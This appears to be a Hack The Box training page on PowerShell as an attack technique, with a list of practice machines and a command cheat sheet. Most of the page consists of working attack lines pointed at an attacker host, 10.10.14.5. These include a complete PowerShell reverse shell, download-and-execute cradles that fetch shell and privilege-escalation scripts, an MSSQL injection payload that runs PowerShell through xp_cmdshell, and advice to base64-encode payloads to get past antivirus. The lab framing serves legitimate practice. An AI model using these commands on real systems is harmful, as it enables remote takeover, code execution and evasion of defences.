PowerShell
Sub-technique of T1059 Command and Scripting Interpreter ↗
Using PowerShell to run commands, download tools and load scripts in memory.
How it shows up on Hack The Box
It is the default shell on Windows. Watch out for Constrained Language Mode and AppLocker: if the one-liner fails, check the language mode before switching payloads.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Vhost and subdomain fuzzing
- Default credentials
- Insecure deserialization
- Command injection
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- Weak or homemade cryptography
- Backups and archives
- Saved credentials / DPAPI
- AppLocker and Constrained Language Mode
Guides
- How antivirus and EDR detect you on Windows: AMSI, ETW, hooks, AppLocker and CLM explained 5 min read What Defender or an EDR checks when you run a tool (signatures, AMSI, ETW, hooks, kernel callbacks), how to tell what protects a box, and AppLocker and CLM.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Reverse shell generator › Windows
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"If antivirus blocks it, run it through the encoder (PowerShell -enc) or use Invoke-PowerShellTcp.
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443"Serve the script with python3 -m http.server 80 from the folder that holds it.
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443File transfer › Windows
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/script.ps1')SQL injection payloads › MSSQL
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/rev.ps1'')"';--Windows and Active Directory privilege escalation › Windows
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecksEvasion explained: AMSI, ETW and AppLocker › AppLocker / CLM
$ExecutionContext.SessionState.LanguageModeConstrainedLanguage = you are limited; FullLanguage = free.
Encoder and decoder › In the terminal
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/s.ps1")' | iconv -t UTF-16LE | base64 -w0No command matches.